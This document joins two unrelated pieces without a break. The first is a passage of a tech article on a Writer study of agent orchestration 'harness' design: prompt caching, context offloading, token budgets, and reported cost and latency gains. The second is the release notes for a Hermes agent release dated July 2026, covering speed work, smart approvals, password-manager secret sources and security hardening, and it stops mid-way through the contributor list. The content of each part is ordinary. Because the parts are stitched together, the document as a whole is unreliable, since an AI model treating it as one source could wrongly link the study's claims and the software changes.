• Budgeted reasoning caps the computational steps a model can take, which often degrades output quality if the workflow isn't intelligently routed. 

• Terse coding forces models to output minimal code to save output tokens, but does nothing to solve inefficient tool calling. 

• Speculative decoding uses a smaller draft model to speed up a larger model's text generation, optimizing inference speed while failing to address bloated agent architectures.

These efforts fail because they optimize the engine while ignoring the transmission. They do not look at the orchestration layer, leaving underlying architectural inefficiencies unresolved.

Unpacking the harness: the levers of efficiency

The harness is the orchestration layer that routes, formats, and turns the underlying LLM into a working system.

The core levers of harness optimization include system prompt caching, interaction history compaction, tool management, retrieval strategies, and error management. These are the most accessible intervention points for engineering teams looking to improve AI performance. 

As the Writer researchers note in the study: “If the harness is the layer that composes model calls into work, it is also the layer that sets the price of work.”

Historically, developers have treated the harness as disposable glue code designed simply to connect an API to a user interface. The study signals that the harness must now be treated as a first-class object: a primary software artifact that requires its own testing, versioning, and rigorous design. 

For enterprises, this reframes the "own-versus-rent" decision. 

"Enterprises spend months on model evaluations and then rent their orchestration off the shelf — which means they're optimizing the smaller lever and outsourcing the bigger one," AlShikh said. "Whoever owns the harness owns your unit economics, and an open framework tuned for demos is not tuned for your invoice." 

Inside the experiments

To isolate the impact of the orchestration layer, the researchers ran experiments on six foundation models spanning multiple vendors and weight classes: Claude Sonnet 4.6, Gemini 3.1, Gemini Flash 3.5, Qwen 3.6, GLM 5.1, and Writer’s own model, Palmyra X6. 

Their experiments compared a frozen, conventional production agent loop against the finished Writer Agent Harness on the same 22 locked enterprise tasks, spanning capabilities like grounding and retrieval, multi-step workflows, tool use, and content generation. By holding the models and tasks constant, they could isolate the effects of the orchestration layer itself.

The optimized harness drove a significant drop in costs, cutting the blended cost per task by 41%, from 21 cents to 12 cents. This was largely achieved by slashing token consumption, with the number of tokens per task falling 38%, from 14.2k to 8.8k.

The harness is designed to delegate tasks like search to specialized sub-agents. A sub-agent receives only the tool and the specific query it needs, retrieves the exact data, and returns a capped, clean summary to the main agent — keeping the primary context window from filling up with raw search results.

Task success rates held steady even as token use fell — moving from 78% to 81%, a gain the researchers describe as directional rather than statistically significant at their sample size, meaning quality didn't suffer even as costs dropped.

End-to-end task latency also dropped significantly, reducing the median wall-clock time by 44%, from 48 seconds to 27 seconds, due to prompt caching and the elimination of dead-end reasoning loops.

However, the researchers also found limits to multi-agent orchestration. Smaller models like Gemini Flash 3.5 and Qwen 3.6 scored well below a usable reliability threshold on sub-agent delegation tasks (0.45 and 0.42, respectively) — the capability simply isn't dependable yet on lighter-weight models.

Sub-agent orchestration only crossed a usable reliability threshold on the two strongest models tested: Writer's own Palmyra X6 (0.86) and Claude Sonnet 4.6 (0.85).

The developer’s playbook: actionable takeaways and tradeoffs

The findings from the study translate into a playbook for enterprise developers building agentic workflows at scale. The first step is to implement what AlShikh calls the "Two-Zone Prompt" and "Context Offloading."

Structure for system prompt caching (The Two-Zone Prompt): Modern LLM APIs offer prompt caching, but developers must structure their payloads correctly to trigger it. Developers must separate the "stable zone" from the "volatile zone." Place static, unchanging elements (e.g., core rules, large tool schemas, and standard operating procedures) at the top of the prompt. Dynamic elements, such as the specific user query or recent conversational task state, must be appended at the bottom. This ordering allows the harness to reuse the cached prefix across hundreds of calls. "That single separation makes prompt caching actually work and stops you from re-paying for the same instructions on every one of an agent's thirty steps," AlShikh said.

Manage context with Context Offloading: Avoid context stuffing, where every turn of a loop is appended into a monolithic prompt until the window maxes out. Instead, move history and intermediate artifacts out of the window into retrievable storage, and pull back only what the current step needs. If possible, delegate tasks to single-purpose sub-agents to avoid context bloat. As AlShikh points out, "the biggest line item in agent spend isn't reasoning — it's re-sending things the model has already seen."

Build resilient loops and redefine KPIs: Unmanaged agent loops drain API budgets rapidly. Teams must begin tracking Completions Per Million tokens (CPM) to understand their true task costs, but the harness itself must contain physical guardrails. "The core principle is that you never ask the model to police its own spending," AlShikh said. "The fence has to live below the model, in code, on your side of the API." This requires three hard checks:

• Hard per-task token budgets: The run terminates when the budget is spent, no exceptions.

• Generation fencing: Caps on steps, tool calls, and recursion depth to stop non-converging agents. 

• Failure-spend governance: Cap what a run can spend after its first failed validation so a failing task doesn't become your most expensive task.

Avoid unnecessary complexity: Optimizing the orchestration layer comes with engineering overhead. If you're in the prototyping and exploration stage, that overhead isn't justified — iterate fast with a strong model and a light harness. Once you're scaling to millions of requests a day, the savings from harness optimization become substantial.

However, teams must be aware of "harness leverage." Adding structural scaffolding requires the model to hold and obey that context. If a model is too small, it will spend its limited capacity parsing the scaffolding instead of doing the task, causing accuracy to drop and tokens to rise. The rule for adding complex orchestration features is strictly mathematical: "If a feature adds more coordination tokens than it removes task tokens for that specific model, cut it," AlShikh said. "Nothing in the harness is free."

The future of the enterprise harness

The era of tokenmaxxing and treating context windows like bottomless buckets is coming to an end. Throwing more compute at poorly designed systems is not a viable strategy for companies that need to demonstrate a return on their AI investments. 

As foundation models evolve to absorb planning, tool selection, and multi-step reasoning natively into their weights, the role of the harness will shift from compensating for model weakness to enforcing enterprise policy.

"What never moves into the model is the 'allowed': budgets, permissions, data boundaries, audit trails, deterministic kill-switches," AlShikh said. "Five years from now, the harness will be thinner but more important. There will be less scaffolding and more governance. However capable the model gets, someone external to it still has to define what it may spend, see, and touch. That layer belongs to the enterprise, and it should never be rented."

Release Date: July 20, 2026
Since v0.18.0: ~2,245 commits · ~1,065 merged PRs · ~2,465 files changed · ~300,000 insertions · ~36,000 deletions · ~3,300 issues closed · 450+ community contributors

The Quicksilver Release. Hermes is the messenger god, and this window we made him move like it. First-turn time-to-first-token dropped ~80% on every platform, reasoning streams live by default, the desktop app got a ~20-PR speed overhaul (14× faster streaming markdown, virtualized diffs, snappy session switching), and the TUI renders markdown incrementally. Around that speed spine: you can now manage your Nous subscription without leaving the terminal, plug Bitwarden and 1Password straight into Hermes, let smart approvals judge flagged commands for you by default, watch your subagents work live, and trust that a finished response survives a gateway crash thanks to a durable delivery ledger. This release also rolls up everything from the v0.18.1 and v0.18.2 infrastructure patch tags — those windows are fully documented here.

✨ Highlights

• Hermes got dramatically faster — first token in a fraction of the time — Cold-start "Initializing agent..." used to eat ~4.3 seconds before your first turn even reached the model; it's now ~0.9s, an ~80% cut that applies to the CLI, gateway, TUI, desktop, and cron alike. Round 2 attacked what you see while waiting: reasoning models now stream their thinking live by default (no more staring at a spinner for 30 seconds), and the response box paints per token instead of per line. If Hermes ever felt like it took a deep breath before answering, that breath is gone. (#59332, #59389 — @teknium1)

• The desktop app speed wave — 20+ targeted perf PRs — Long replies used to cost 14× more CPU in the markdown splitter than they do now; giant diffs froze the review pane until we virtualized it; switching sessions thrashes layout no more. Streaming no longer re-renders the sidebar and every tool row per token, profile backends pre-warm on hover intent, and boot-hidden panes mount at idle instead of on the cold-start critical path. The net effect: the desktop app feels like a native app under load, even with huge transcripts and busy agents. (#67154, #67818, #65898, #66033, #66747, #67742 and more — @OutThisLife)

• Manage your Nous plan from the terminal — /subscription and /topup — Changing your subscription used to mean a trip to the billing website. Now /subscription opens a full flow right in the TUI or classic CLI: see your plan and remaining allowance, preview exactly what an upgrade costs ("Pay $46.30 & upgrade now") or when a downgrade takes effect, and apply it — with scheduled-change banners and undo. The desktop app got a matching billing settings tab. Your wallet never has to leave the keyboard. (#51639, #61054, #61067 — @alt-glitch)

• Smart approvals are now the default — When Hermes wants to run a flagged command, an LLM reviewer now assesses it independently instead of asking you to approve every single one — and each verdict covers only that exact command, so a later command matching the same pattern gets its own review. Combined with the new user-defined deny rules (which block commands even under yolo mode) and /deny <reason> (which tells the agent why you refused so it course-corrects), day-to-day approval fatigue drops sharply without giving up control. (#62661, #59164, #54518 — @teknium1)

• Plug your password manager into Hermes — Bitwarden & 1Password secret sources — API keys no longer have to live in a plaintext .env. A new pluggable SecretSource interface lets Hermes fetch secrets from Bitwarden and 1Password (op:// references) at load time, with multiple vaults enabled simultaneously, deterministic precedence, conflict warnings, and per-variable provenance. This consolidated eleven competing community PRs into one orchestrated interface — future vault providers drop in as plugins. (#59498 — @teknium1, 1Password provider salvaged from @hwrdprkns)

• Watch your subagents work — live transcripts + durable background delegation — delegate_task dispatches now return live transcript files you can tail -f the moment the subagents launch: every tool call, result, and streamed reply, one human-readable log per child. And background delegation completions are now durable — if the process restarts mid-run, results are restored and delivered through an ownership-checked ledger instead of vanishing. Fan out a fleet, watch any worker live, and never lose the results. (#67479, #63494 — @teknium1)

• A finished answer can no longer be lost — the delivery-obligation ledger — If the gateway died between generating your response and confirming the platform actually delivered it, that answer used to be silently gone (and you'd paid for the turn). Final responses are now recorded in a durable ledger in state.db around the platform send and redelivered on the next boot — closing a P1 silent-loss window for Telegram, Discord, Slack, and every other channel. (#67181 — @teknium1)

• One gateway, many profiles — profile-based message routing — A single multiplexed gateway sharing one bot token can now route specific guilds, channels, or threads to different profiles — each with fully isolated config, skills, memory, and secrets. Point your work Discord server at the work profile and your hobby server at personal, from one bot. A second multiplex hardening wave means one misconfigured profile can no longer take down the whole gateway. (#64835 salvaging @Burgunthy, #65700, #60589 — @teknium1, @benbarclay + six salvaged contributors)

• New providers and the newest frontier models — Fireworks AI and DeepInfra land as first-class providers (Fireworks with cost estimation and a #2 slot in the provider picker), Upstage Solar joins via salvage, and the model catalogs picked up GPT-5.6 (Sol/Terra/Luna + Pro variants, wired end-to-end across every route), grok-4.5 (GA), moonshotai/kimi-k3, claude-fable-5 / claude-sonnet-5, and GA tencent/hy3 — plus LM Studio JIT model loading for local setups. (#62593, #63969, #61616 — @kshitijk4poor completing @rob-maron's #61578, #60887, #65913, #64541, #65472)

• Crank the thinking to max — new reasoning effort tiers and per-model control — Reasoning effort gained max and ultra levels (GPT-5.6 and Codex's top tiers), selectable everywhere from the CLI to the desktop, with sane clamping on providers with smaller scales. You can now also pin per-model reasoning-effort overrides in config, set per-slot effort in MoA presets (your advisors think hard, your synthesizer stays fast), and per-task effort for auxiliary models. Thinking depth is now a dial, not a global switch. (#62650, #64458, #64631, #64597 — @teknium1)

• Your sessions, your data — export everything — hermes sessions export now writes Markdown, Quarto, HTML, prompt-only, and even Hugging Face-ready trace formats, with the full filter surface (age, workspace, platform), an opt-in --redact secret-scrubbing pass, and compacted-session lineage stitched into one logical export. Pair with the new prune filters and bulk archive to keep your session store tidy. Your conversation history is a real dataset now, not a black box. (#60186 salvaging @web3blind, #60492, #60507, #59327 — @teknium1)

• Security hardening round — This window closed a long list of credential-surface gaps: Vertex credentials scoped away from subprocess env and through profile secret scopes, media/vision/image-gen local-file reads routed through one shared credential-read guard, a webhook body-size-cap sweep across every aiohttp server, bot-token redaction in Telegram transport errors, Fireworks token prefixes added to the redactor, six P1 browser/MEDIA/.env hardening PRs salvaged in one pass, and CI hardened against untrusted-ref interpolation. (#57660, #58709, #59215, #56582, #57842 — @teknium1, @srojk34, @kshitijk4poor, @jquesnelle)

⚡ Performance — the speed spine

First-turn latency (all platforms)

• ~80% TTFT cut — Discord capability detection off the critical path (token-keyed 24h disk cache + background refresh), Ollama probe skipped for known non-Ollama providers, agent-init blocking work removed; cold submit→dispatch ~4.3s → ~0.9s (#59332 — @teknium1)
• Perceived-latency round 2 — display.show_reasoning default ON (watch the model think instead of a spinner), per-token response-box painting with width-aware force-flush, prompt-build caching, mtime-cached timezone resolution (#59389 — @teknium1)
• Segment mixed tool batches to recover lost concurrency; drop per-call base64 re-serialization from request-size estimates (#64460, #67788 — @teknium1, @OutThisLife)

Desktop speed wave

• 14× less splitter CPU via incremental block lexing for streaming markdown; virtualized review-pane diffs (no more full-Shiki freeze); snappy session switching on large transcripts; killed the layout-thrash cascade on session switch (#67154, #67818, #65898, #66033 — @OutThisLife)
• Cut startup serialization + per-turn REST amplification; pre-warm profile backends and gateway sockets on hover intent; idle-mount boot-hidden panes; fast model picker + dialogs (#66747, #66347, #67857, #66470 — @OutThisLife)
• Stop per-token sidebar + tool-row re-renders during streaming; stop eager JSON.stringify of every tool's args/result; scope tool-diff subscriptions; batch sidebar session slices into one profile-DB pass; targeted file-tree revalidation; rAF-coalesced sash resizes (#67742, #67842, #67195, #67245, #67824, #67838, #67844 — @OutThisLife)
• Systematized perf benchmark harness with trustworthy cold-start + first-token measurement, replacing 12 one-off scripts (#67466, #67697 — @OutThisLife)

Everywhere else

• TUI renders streamed markdown incrementally per block (#67236 — @OutThisLife)
• Skill discovery cached by scan signature; snapshot manifest builds ~5× faster; text prefilter before AST parse in tool discovery (#61414, #61131, #63941 — @kshitijk4poor, @ethernet8023)
• Copy-on-write message prep instead of full deepcopy; model-metadata probe-cache cluster; gateway session.resume model + display history from one SELECT (#61133, #61368, #67247 — @kshitijk4poor, @OutThisLife)
• hermes update skips npm install when Node manifests are unchanged; dashboard session-list payloads trimmed + messages paginated (#61580, #60883 — @kshitijk4poor)
• Byte-stable gateway system prompts — pinned session-context render keeps the prompt cache alive across turns (#67403 — @kshitijk4poor)

🏗️ Core Agent & Architecture

Providers & models

• Fireworks AI provider with cost estimation + cached picker price columns, promoted to #2 in provider pickers (#62593, #65476, #65214 — @teknium1)
• DeepInfra hardened integration; Upstage Solar provider (#42231 salvage) (#63969, #64541 — @kshitijk4poor)
• GPT-5.6 (Sol/Terra/Luna + Pro) end-to-end — context lengths, native/Codex catalogs, pricing, compaction caps across every route (#61616 — @kshitijk4poor, building on @rob-maron)
• grok-4.5 (GA) catalog + reasoning allowlist; kimi-k3 on Nous Portal + OpenRouter (kimi-k2.x retired) + K3 discovery on the Kimi Coding endpoint; claude-fable-5 / claude-sonnet-5 / fugu-ultra curated; GA tencent/hy3 (#60887, #65913, #65922, #56617, #60943 — @teknium1)
• Catalog-labeled silent default (GLM-5.2) + bare-provider /model cost-safe routing; LM Studio JIT load mode; adaptive thinking for Kimi-family Anthropic endpoints (#64771, #65472, #67606 — @teknium1, @kshitijk4poor)
• GLM-5.2 native reasoning_effort controls; Gemini request-context improvements; extra HTTP headers for LLM API calls; per-client model routing on the API server (#58884, #61873 — @vishal-dharm, #57038, #57028 — @teknium1)
• Claude Sonnet 5 fully wired — curated lists, intro pricing, and metadata across every route (#67932 — @teknium1)
• Hide providers you don't use — enabled: false per-provider flag + excluded_providers config scrub unwanted providers from /model pickers and built-in resolution (#67971 — @teknium1)
• Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (#68007, #67977, #68005, #67976 — @teknium1)
• kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (#68108 — @teknium1)
• Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (#67758, #67904, #67908 — @teknium1)

Reasoning & MoA

• max + ultra effort levels across every surface and route (#62650 — @teknium1)
• Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped /reasoning in the CLI (#64458, #64597, #64631, #67946 — @teknium1)
• MoA: reference_max_tokens to cap advisor output and cut latency; per-preset fanout cadence (user_turn runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (#56756, #57591, #64756 — @teknium1)

Delegation, approvals & the agent loop

• Live subagent transcripts + durable background completions (see Highlights) (#67479, #63494 — @teknium1)
• Smart approvals default; user-defined deny rules (block even under yolo); /deny <reason> relays the denial reason; plugin pre_tool_call approve action escalates to a human gate (re-landed with rule keys) (#62661, #59164, #54518, #60504 — @teknium1, @kshitijk4poor)
• Unified delegation concurrency caps (max_async_children deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (#56955, #64775, #61793 — @teknium1)
• Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through thread/compact/start, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via /usage reset (#66514, #66115, #60114, #58155, #62225 — @teknium1, @kshitijk4poor, @JoaoMarcos44, #64280 — @teknium1)
• Hooks: oversized hook-injected context spills to disk (#20468 — @teknium1)
• Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (#62016 — @OutThisLife)

Secrets & config

• Pluggable SecretSource interface + Bitwarden & 1Password providers (see Highlights) (#59498 — @teknium1, @hwrdprkns)
• hermes config get / unset; warn on unknown root config keys + doctor deprecated-key reporting; display.timestamp_format (#65540, #67370, #40622 — @teknium1)
• Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; --usage-file JSON report for hermes -z (#65537, #65468, #59615 — @teknium1)

Sessions & compression

• Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, --redact, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (#60186, #60492, #60507, #59327, #63091 — @teknium1, @web3blind)
• Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (#67275, #67916, #65046, #56868 — @kshitijk4poor, @teknium1)
• Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an api_content sidecar (#58899, #59203, #67274 — @teknium1, @kshitijk4poor)

🌐 Gateway, Fleet & Relay

• Durable delivery-obligation ledger for final responses (see Highlights) (#67181 — @teknium1)
• Profile-based routing for inbound messages + multiplex hardening wave 2 + GATEWAY_MULTIPLEX_PROFILES override (see Highlights) (#64835, #65700, #60589 — @teknium1, @benbarclay + salvaged contributors)
• Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session /model overrides persist across restarts (#67401, #65783, #62645, #56967, #57030 — @teknium1)
• Session auto-reset default off; /sessions search <query>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (#60194, #57685, #60944, #65702, #58872 — @teknium1)
• Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + nous_session_valid on /api/status for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (#60730, #60586, #64649, #59976, #59969, #59983 — @benbarclay)

📱 Messaging Platforms

• Inline choice pickers for /reasoning and /fast on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (#65799 — @teknium1)
• WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (#58865, #60571 — @teknium1)
• Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (#66149, #60187, #60230, #60493, #51751 — @teknium1)
• Slack: live per-tool status line (#67080 — @teknium1, salvaging #62007)
• Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (#65543, #65546 — @teknium1)
• Voice: stt.echo_transcripts toggle; MEDIA: captions attached to the media bubble on standalone sends; display.tool_progress: log option (#58859, #61415, #57014 — @teknium1, @kshitijk4poor)

🖥️ Hermes Desktop App

• Contribution-driven shell on a layout-tree model — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (#60638, #67303 — @OutThisLife)
• Capabilities page — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (#57590, #57441, #67482 — @OutThisLife, @teknium1)
• Hermes Cloud connection mode (salvage of #55402); soft gateway switch + gateway-settings polish; terminal execution backend picker with health probes (#61912, #61916, #67203 — @OutThisLife, @teknium1)
• Keybind hint tooltips + keybinds settings tab + unified worktree dialog; base-branch picker for new worktrees; green unread dot for background-finished sessions; background-task sidebar indicators; grouped tool calls across text-less messages; auto-scrolling window for long tool-call runs (#65204, #62243, #65109, #65174, #61147, #57913 — @ethernet8023, @OutThisLife)
• Session + project color system (inherit from project, per-session override, shared across sidebar/tabs); unified active-project identity in chat status; workspace path status action (#67469, #67681, #67282, #63086 — @OutThisLife)
• Declarative memory-provider panel + full-config modal; config-defined TTS/STT providers + xAI TTS params; custom endpoint settings; per-job cron model picker; profile-aware approval mode control; UI scale setting; Ctrl/Cmd+wheel zoom; chat backdrop toggle; /journey opens the memory graph overlay (#67206 salvaging @erosika, #67209, #67759 — @austinpickett, #67472, #63520, #60457, #67029, #64598, #57267 — @teknium1, @OutThisLife)
• Full TypeScript conversion of the desktop tree (#57855 — @ethernet8023)

📊 Web Dashboard

• Memory provider switching; safe session import flow; WhatsApp pairing; Discord-specific toolsets editable from the web UI; clarified manual Telegram bot setup (#60569, #63699, #60571, #65361, #64636 — @teknium1, @kshitijk4poor, @shannonsands)
• Terminal keep-alive + reattach for dashboard chat sessions; heavy turns isolated in a compute host; paste/drop images into Chat; browser.headed schema toggle; profile + gateway topology on /api/status; mobile/hosted OpenAI OAuth login (#60515, #65895, #61929, #67046, #60537, #61330 — @teknium1, @OutThisLife, @benbarclay)
• hermes serve is a true headless backend (no web UI build/mount) (#55923 — @OutThisLife)

🧰 CLI & TUI

• /subscription + /topup terminal billing (see Highlights) (#51639 — @alt-glitch)
• /model --once — one-turn model override that reverts automatically (#67113 — @teknium1, salvaging #29923)
• Stacked slash-skill invocations — /skill-a /skill-b do XYZ loads both skills in order (Claude Code port), with autocomplete + ghost text (#57987, #58763 — @teknium1)
• --safe-mode troubleshooting flag; uninstall dry-run; TLS failures fail fast with fix hints; /compact alias + preview flags; pip/Homebrew installs warned unsupported (#45300, #60111, #57992, #57029, #57225 — @teknium1, @ethernet8023)
• TUI: model picker refresh support; custom skill bundles dispatched as agent turns; banner sizes skills display to terminal width (#59782 — @helix4u, #62859 — @Adolanium, #40624 — @teknium1)
• Hermes Console REPL + perf follow-ups; hermes curator usage all-skills view; entry-point plugins surfaced in hermes plugins list (#57781 — @kshitijk4poor, #36727, #40623 — @teknium1)

🔧 Tool System, Skills & MCP

• MCP: mcp__server__tool naming convention; server log notifications surfaced in agent.log; hosted OAuth completed across Dashboard + Desktop; configurable redirect_uri/redirect_host for proxied/WAF setups; OAuth callback port races closed; Blender added to the MCP catalog with a curated 4-tool default (#52750, #57416, #66151, #65610, #65622, #64463 — @teknium1, @benbarclay)
• Skills: security/unbroker (autonomous data-broker removal) + blind opt-out hardening; unreal-mcp companion skill; blender-mcp reworked around the catalog entry; humanizer pattern expansion; mcp-oauth-remote-gateway optional skill (#57438, #57902, #65989, #64715 — @SHL0MS, #65066, #65486 — @teknium1)
• Browser: full snapshots stored on truncation, eval denylist opt-in; computer_use follows cua-driver's verify→escalate ladder (#65923, #67123 — @teknium1)
• Kanban: modal create-task dialog + editable board project directory; Done-card results made obvious; grab-to-pan board scrolling; attachment toolset + CLI with SSRF-guarded URL fetch; project directory captured at board creation (#66333, #63638, #60226, #65698, #63249 — @teknium1)
• Cron: durable execution audit history; one-shot stale-removal race fixed; run-claim TTL derived from HERMES_CRON_TIMEOUT (#61791 — @teknium1, #62014 — @PRATHAMESH75, #59567)
• mem0: self-hosted dashboard backend + recall tuning + setup-wizard mode (#56943, #60494 — @kshitijk4poor, @teknium1)
• Image gen: Codex image inputs; unsupported Codex image accounts classified; tool args recursively normalized by schema (cline port) (#57017, #63627, #52220 — @teknium1, @kshitijk4poor)

🔒 Security & Reliability

• Vertex: credential/project/region resolution through the profile secret scope; VERTEX_CREDENTIALS_PATH/GOOGLE_APPLICATION_CREDENTIALS stripped from subprocess env (#56680, #56582 — @srojk34)
• Six P1 hardening PRs salvaged in one pass — browser guards, MEDIA anchoring, .env lockdown, delegate ACP transport (#57660 — @teknium1)
• Media/vision/image-gen local-file reads routed through the shared credential-read guard; native image routing guarded by file-safety policy; unified image-source resolver + terminal-backend confinement (#58709, #58752, #57890 — @teknium1)
• Webhook body-cap sweep: explicit client_max_size on 3 uncapped aiohttp servers + completion sweep; Raft chunked-request body limit; timestamp-bound V2 webhook signatures (#59180, #59215, #58902, #58508 — @teknium1, @srojk34)
• Redaction: Fireworks token prefixes + Telegram transport errors; env-lookup false positives fixed for KEY=value and JSON/YAML config fields; bot tokens scrubbed from Telegram connect/send errors (#58501, #58534, #58915, #58893 — @teknium1)
• computer-use: subprocess env sanitized across all five cua-driver spawn sites (#58889, #59165 — @teknium1)
• Dashboard: managed-files credential guard widened past .env + dir-tree gap closed; OAuth token TOCTOU closed with atomic 0o600 writes; stale dashboards can't recreate deleted profiles (#58222 — @kshitijk4poor, #60236 — @teknium1, #49435 — @LeonSGP43)
• CI: untrusted refs passed through env, not run: interpolation; JS/TS tests wired into CI with source-regex tests banned; js-autofix pushes via PR instead of direct-to-main (#57842 — @jquesnelle, #60707, #65186 — @ethernet8023)
• Docker: terminal network toggle with full-path coverage; Git Bash Mandatory-ASLR install failures detected; Windows updater console hidden during handoff (#59149 — @teknium1, #64651, #66040 — @helix4u)
• Anthropic: request-local clients so the stale/interrupt watchdog never corrupts SQLite; per-profile OAuth file; OAuth login 429 fixed (UA must not be claude-code/) (#67238 — @OutThisLife, #59339, #58178 — @teknium1)
• Gateway/agent: tool_call_id deduplicated across pre-API sanitizers; background review inherits parent reasoning_config for Anthropic cache parity; /new memory extraction moved off the command path (#58350, #64379, #61139 — @teknium1, @kshitijk4poor)

🔁 Reverted in this window (for the record)

• iron-proxy credential-injection egress firewall (#30179 → reverted in #58489) — not shipping in this release
• dynamic-workflow orchestration skill (landed, then reverted) — not shipping
• memory provider-actions extension point (landed, then reverted) — not shipping
• Note: the plugin pre_tool_call approve escalation was reverted mid-window but re-landed in #60504 and ships in this release.

👥 Contributors

450+ people contributed to this release (via commits, co-author trailers, and salvaged PRs) — the biggest contributor window yet. Thank you, all of you.

Core team

• @teknium1 — release lead; TTFT perf wave, delivery + delegation durability, smart approvals, SecretSource, gateway multiplex + profile routing, sessions export, security round, and a ~290-PR community salvage burn
• @OutThisLife — desktop app (the speed wave, layout-tree shell, Capabilities page, session colors, vibe reactions, TUI incremental markdown, perf harness)
• @kshitijk4poor — GPT-5.6 end-to-end, DeepInfra + Upstage Solar providers, perf cluster, compression integrity, mem0, dashboard guards
• @ethernet8023 — CI overhaul (JS/TS tests wired in, autofix-via-PR, python speedups), desktop keybinds/worktrees/status indicators, full desktop TypeScript conversion
• @benbarclay — relay OIDC provisioning, gateway multiplex override, Nous auth self-heal, hosted MCP OAuth groundwork
• @alt-glitch — terminal billing (/subscription, /topup), desktop billing tab
• @helix4u — desktop provider/model UX, TUI model picker refresh, Windows install/updater hardening
• @austinpickett — desktop custom endpoint settings
• @SHL0MS — unbroker + unreal-mcp skills, humanizer expansion

Top community contributors

• @srojk34 — security hardening: Vertex credential/project/region scoping through the profile secret scope, subprocess env stripping, Raft chunked-request body limits
• @HexLab98 — 11 fixes across MCP capability gating, Windows installer PATH, desktop cron editing, gateway systemd warnings
• @UnathiCodex — desktop stability: zoom across display moves, LaTeX rendering, resume-stall and runtime-readiness fixes
• @xxxigm — <think> leak fix after thinking-only retry flush, dashboard auth/theme/PTY fixes
• @erosika — desktop declarative memory-provider panel + honcho recall/timeout correctness
• @Frowtek — credential security: master stores never mounted into skill sandboxes, live-transcript redaction, dashboard api_key precedence
• @necoweb3 — browser private-page CDP guard, cron one-shot liveness, gateway compression fail-closed
• @DavidMetcalfe — desktop updater version pill, Local/custom endpoint exposure, sidebar collapse behavior
• @shannonsands — dashboard: mobile channel setup, Discord toolsets from web UI, Telegram setup clarity
• @vishal-dharm — Gemini request-context improvements
• @PRATHAMESH75 — cron one-shot stale-removal race, dashboard multiplex port-binding guard
• @alelpoan, @embwl0x, @Adolanium, @giggling-ginger, @Drexuxux, @frizikk, @JoaoMarcos44, @wesleysimplici, @LeonSGP43, @pierrenode, @simpolism, @MorAlekss, @r266-tech, @WadydX, @nv-kasikritc — targeted fixes across desktop, TUI, gateway, cron, webhook, nix, and browser surfaces
• Salvaged-work authors whose PRs were cherry-picked with credit this window: @Burgunthy (profile routing), @web3blind (sessions export), @hwrdprkns (1Password), @Christopher-Schulze, @Ahmett101, @sjiangtao2024, and many more — see the salvage PR bodies for full attribution

All contributors

@0-CYBERDYNE-SYSTEMS-0, @0disoft, @0xbyt4, @100yenadmin, @17324393074, @2751738943, @8294, @abhibansal-sg,
@adambiggs, @Adolanium, @aeyeopsdev, @aguung, @AhmetArif0, @Ahmett101, @ai-ag2026, @AIalliAI, @ajzrva-sys,
@alastraz, @alelpoan, @alex-fireworks, @alex-heritier, @alex107ivanov, @AlexFucuson9, @Alix-007,
@allenliang2022, @Almurat123, @AlsayedHoota, @alt-glitch, @alvarosanchez, @amanning3390, @AmAzing129,
@AndreasHiltner, @andrewhomeyer, @annguyenNous, @ansel-f, @antydizajn, @arminanton, @arnispiekus, @asimons81,
@asscan, @ats3v, @austinlaw076, @austinpickett, @avifenesh, @aydnOktay, @Bartok9, @bautrey, @bbednarski9,
@bbopen, @benbarclay, @bigstar0920, @binhnt92, @bird, @Black0Fox0, @BlackishGreen33, @bo.fu, @brendandebeasi,
@briandevans, @BROCCOLO1D, @Bruce-anle, @brunz-me, @Burgunthy, @bytesnail, @catbearlove1-lang, @Cdddo,
@cgarwood82, @CharmingGroot, @chouqin, @Christopher-Schulze, @claudlos, @CocaKova, @Code-suphub, @CodeForgeNet,
@craigdfrench, @CrazyBoyM, @crazywriter1, @cresslank, @cruzanstx, @cyrkstudios, @danilofalcao,
@datachainsystems, @DatTheMaster, @davidb73-hub, @davidgut1982, @DavidMetcalfe, @davidrobertson,
@deacon-botdoctor, @DECK6, @deepujain, @derek2000139, @designnotdrum, @deusyu, @devatnull, @devorun,
@dexhunter, @dfein38347g, @Dhravya, @DictatorBacon, @digitalbase, @dlkakbs, @dmabry, @DNAlec, @dodo-reach,
@doncazper, @dorokuma, @doxe0x, @Drexuxux, @dschnurbusch, @Dusk1e, @EdderTalmor, @egilewski, @elashera,
